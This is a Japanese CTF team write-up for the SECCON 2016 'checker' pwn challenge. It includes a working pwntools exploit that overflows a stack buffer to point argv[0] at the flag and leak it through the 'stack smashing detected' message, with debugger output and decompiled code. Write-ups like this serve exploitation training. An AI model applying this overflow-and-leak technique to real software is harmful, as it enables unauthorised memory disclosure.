--- lang: ja-jp breaks: true --- checker === ## 問題概要 ### ジャンル exploit ### 点数 300 points ### 問題文 checker Host : checker.pwn.seccon.jp Port : 14726 checker (SHA1 : 576202ccac9c1c84d3cf6c2ed0ec4d44a042f8ef) ### フラグ SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated ### 挑戦者 pinksawtooth K_atc ## 解法 <span style="color:red">new!</span> - [x] \*$rbp+232=&flagにする - このときstack canaryを破壊しておく - NULL5文字は5回に分けて入れる - [x] `strcmp(&flag, var_90)`で失敗したのち、`__stack_chk_fail()`を呼び出す - [x] "stack smashing detected" の横にフラグが表示される ```python= from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False BIN = "./checker" e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"puts": 0x68fe0, "system": 0x3af40, "/bin/sh": 0x15ef08, "one_gadget": 0xb8a38} else: r = remote("checker.pwn.seccon.jp", 14726) offset = {"puts": 0x6fd60, "system": 0x40310, "/bin/sh": 0x16084c, "one_gadget": 0xc1bf2} """ Hello! What is your name? NAME : Do you know flag? >> yes Oh, Really?? Please tell me the flag! FLAG : Why won't you tell me that??? """ r.recvuntil("NAME : ") # r.sendline("A"*0x80 + "B") r.sendline("tomori nao") flag_addr_str = p64(e.symbols["flag"]) argv0_offset = 0x90 + (376 - 136) - 8 r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 5) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 4) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 3) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 2) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 1) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3]) r.recvuntil(">> ") r.sendline("yes") bp() r.recvuntil("FLAG : ") r.sendline("i don't know") r.interactive() ``` ``` [katc@K_atc checker]$ python2 checker.py r [+] Opening connection to checker.pwn.seccon.jp on port 14726: Done break point: [*] Switching to interactive mode You are a liar... *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated [*] Got EOF while reading in interactive ``` - - - 以下方針はボツ 方針1: 1. 名前入力時にflagを書き換える 2. strcmp(*) を突破する 3. 何らかの方法でStach Smashing Detectedにならない 3. read_flag("flag.txt")を呼び出してflagを復元 4. [どうやってflag表示させるん?]→ nameとflagが1つの文字列になるように長さを調整←NULLが改行の代わりに入るから無理では 方針: * ポインタ書き換え * 存在しない→ __ボツ__ 頻度の低い解法→方針: * __stack smashing detectedのargv[0]の代わりにflagを出させる__ 【採用】 ## 議論 flag.txtを読み込んで,以下で比較 ``` .text:00000000004008CA loc_4008CA: ; CODE XREF: main+A2j .text:00000000004008CA lea rax, [rbp+s1] .text:00000000004008D1 mov rsi, rax ; s2 .text:00000000004008D4 mov edi, offset flag ; s1 .text:00000000004008D9 call _strcmp .text:00000000004008DE test eax, eax .text:00000000004008E0 jz short loc_4008E9 .text:00000000004008E2 mov eax, offset aYouAreALiar___ ; "You are a liar...\n" .text:00000000004008E7 jmp short loc_4008EE ``` * flag.txtの中身を言い当てても嘘つき呼ばわりされる? flag.txtの中身を"FLAG"にしてても読み込み時に"FLAG\n"になって比較されるので入力値と一致しない ``` => 0x4008d9 <main+209>: call 0x400620 <strcmp@plt> 0x4008de <main+214>: test eax,eax 0x4008e0 <main+216>: je 0x4008e9 <main+225> 0x4008e2 <main+218>: mov eax,0x400ad7 0x4008e7 <main+223>: jmp 0x4008ee <main+230> Guessed arguments: arg[0]: 0x6010c0 --> 0xa47414c46 ('FLAG\n') arg[1]: 0x7fffffffe1f0 --> 0x47414c46 ('FLAG') ``` * dprintf使っているのは無視していいのかな? * strcmpだけに関するpwnならSSE版strcmpの特性(burning ctfで出題済み)やタイミング攻撃を検討する必要あり * FSBかなって思ったけど、フラグと比較したあとくらいしか%sで入力を表示してくれなそう * flagはメモリ上にある * リーク手段は存在する? * solve数的に気づけば単純なのかも * ←かなり早くsolve数が多くなったね * 作問者が書いた __gets相当__ の関数getalineがあり、一文字ずつ取得、'\n'で読み取り終了、stack canary付きの __妙に堅牢でない__ 関数 * <span style="color: red;">nameがわざとらしいんだけど</span> * ????もうちょっと詳しくおしえてー * flagのguessing/読み取り問題だったら名前を聞く必要がない→nameに何を入れるかが重要、ということ * もう一箇所はyes以外余地はなさそうだし,やはり最初の入力でなにかする? * __0x4008e9(Thank you)まで到達したとして、何をすればいいん?__ * "Thank you, %s!!\n" ここ出力される%sがnameでは?いや、なにが出るんだ? * ユーザーにflagを教えてもらうときに使うバッファがスタック上にあるね。スタック壊せってこと? * ↑なんかその方針は趣旨に反する気がする * canaryどうすんねん * わざとらしくstack canary書き換えてる箇所無いっぽい * canary のリーク方法何かあったっけ?(下位1バイトがヌルだからむずかしいにょろ) * canary読み取って何事もなかったように戻すパターン? * それか、\_\_stack\_chk_fail()を`ret`で潰すか、か > We found some misconfiguration of checker challenge, sorry. We don't fix(change) it , this challenge is easier than other 300 chals. Please challenge it! ~~リモートではSSP付いてないのかな?~~ `*** stack smashing detected ***: ./checker terminated`だけは表示されるので付いている スタックにflagが残っている?←ローカルで確認した限り無かった ### 初期調査 ``` [katc@K_atc checker]$ file * checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker 0x00600000 0x00601000 r--p /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker 0x00601000 0x00602000 rw-p /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker 0x00602000 0x00623000 rw-p [heap] 0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp /usr/lib/libc-2.24.so 0x00007ffff7bd1000 0x00007ffff7dd0000 ---p /usr/lib/libc-2.24.so 0x00007ffff7dd0000 0x00007ffff7dd4000 r--p /usr/lib/libc-2.24.so 0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p /usr/lib/libc-2.24.so 0x00007ffff7dd6000 0x00007ffff7dda000 rw-p mapped 0x00007ffff7dda000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.24.so 0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p mapped 0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.24.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.24.so 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ i func \@plt All functions matching regular expression "\@plt": Non-debugging symbols: 0x00000000004005c0 _exit@plt 0x00000000004005d0 __stack_chk_fail@plt 0x00000000004005e0 close@plt 0x00000000004005f0 dprintf@plt 0x0000000000400600 read@plt 0x0000000000400610 __libc_start_main@plt 0x0000000000400620 strcmp@plt 0x0000000000400630 __gmon_start__@plt 0x0000000000400640 open@plt 0x0000000000400650 perror@plt ``` * BOF問題では無さそう(直感) * わざとらしい実行可能領域なし ``` [katc@K_atc checker]$ ./checker Hello! What is your name? NAME : name Do you know flag? >> yes ← yはダメ(聞き直される) Oh, Really?? Please tell me the flag! FLAG : false flag You are a liar... [katc@K_atc checker]$ cat flag.txt false flag ``` yesと比較している ![](https://i.imgur.com/hSgvG1S.png) ### バッファの位置関係 0x601040 ... name 0x6010c0 ... flag * name取得時に長さによる制限なし * flag 書き換え可能 ``` Starting program: /root/Desktop/checker Hello! What is your name? NAME : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB ``` nameに128文字+"フラグにする文字"をいれる ``` Do you know flag? >> yes Oh, Really?? Please tell me the flag! FLAG : BBBB ``` flagを聞かれるのでフラグにする文字と同じものを入れる ``` gdb-peda$ c Continuing. Thank you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB!! ``` 名前が出力される ### stack smashing による flag leak main()における$rbp以下のスタック内容 ``` gdb-peda$ telescope $rbp 40 0000| 0x7ffcf54c1260 --> 0x400900 (<main+248>: call 0x4005f0 <dprintf@plt>) 0008| 0x7ffcf54c1268 --> 0x7feb1dda6291 (<__libc_start_main+241>: mov edi,eax) 0016| 0x7ffcf54c1270 --> 0x40000 0024| 0x7ffcf54c1278 --> 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker") 0032| 0x7ffcf54c1280 --> 0x11dee6c48 0040| 0x7ffcf54c1288 --> 0x400808 (<main>: push rbp) 0048| 0x7ffcf54c1290 --> 0x0 0056| 0x7ffcf54c1298 --> 0x1c0d7ff72d76a16a 0064| 0x7ffcf54c12a0 --> 0x400660 (<_start>: xor ebp,ebp) 0072| 0x7ffcf54c12a8 --> 0x7ffcf54c1340 --> 0x1 0080| 0x7ffcf54c12b0 --> 0x0 0088| 0x7ffcf54c12b8 --> 0x0 0096| 0x7ffcf54c12c0 --> 0xe3f495ef1af6a16a 0104| 0x7ffcf54c12c8 --> 0xe3db44c3fa84a16a 0112| 0x7ffcf54c12d0 --> 0x0 0120| 0x7ffcf54c12d8 --> 0x0 0128| 0x7ffcf54c12e0 --> 0x0 0136| 0x7ffcf54c12e8 --> 0x7ffcf54c1358 --> 0x7ffcf54c267e ("LC_MEASUREMENT=en_US.UTF-8") 0144| 0x7ffcf54c12f0 --> 0x7feb1e348110 --> 0x0 0152| 0x7ffcf54c12f8 --> 0x7feb1e13360b (<_dl_init+139>: ) 0160| 0x7ffcf54c1300 --> 0x0 0168| 0x7ffcf54c1308 --> 0x0 0176| 0x7ffcf54c1310 --> 0x400660 (<_start>: xor ebp,ebp) 0184| 0x7ffcf54c1318 --> 0x7ffcf54c1340 --> 0x1 0192| 0x7ffcf54c1320 --> 0x0 0200| 0x7ffcf54c1328 --> 0x400689 (<_start+41>: hlt) 0208| 0x7ffcf54c1330 --> 0x7ffcf54c1338 --> 0x1c 0216| 0x7ffcf54c1338 --> 0x1c 0224| 0x7ffcf54c1340 --> 0x1 0232| 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker") ``` * $rbp+232を&flagに向けることでflagの中身を吐かせることはできる * &flagをどうやってセットするのか問題(ヌルが5つ必要) → __yesを入れるべき場面で5回に分けてNULLを5つ並べる__ * ### related functions ```C function getaline { var_18 = arg0; var_8 = *0x28; var_D = 0xff; var_C = 0x0; while (((var_D & 0xff) != 0x0) && (read(0x0, var_D, 0x1) != 0x0)) { // accepts first NULL if ((var_D & 0xff) == 0xa) { var_D = 0x0; } *(int8_t *)(sign_extend_64(var_C) + var_18) = var_D & 0xff; var_C = var_C + 0x1; } rax = var_C; rcx = var_8 ^ *0x28; COND = rcx == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } function main { var_8 = *0x28; dprintf(0x1, "Hello! What is your name?\nNAME : "); getaline(0x601040); do { // 何度でもスタック破壊可能(Stack Smashing→"yes\0") dprintf(0x1, "\nDo you know flag?\n>> "); getaline(var_90); } while (strcmp(var_90, "yes") != 0x0); dprintf(0x1, "\nOh, Really??\nPlease tell me the flag!\nFLAG : "); getaline(var_90); // first byte must be non-NULL if ((*(int8_t *)var_90 & 0xff) == 0x0) { dprintf(0x1, "Why won't you tell me that???\n"); rax = _exit(0x0); } else { strcmp(0x6010c0, var_90) == 0x0; dprintf(0x1, 0x0); rax = 0x0; rcx = var_8 ^ *0x28; COND = rcx == 0x0; if (!COND) { rax = __stack_chk_fail(); } } return rax; } ```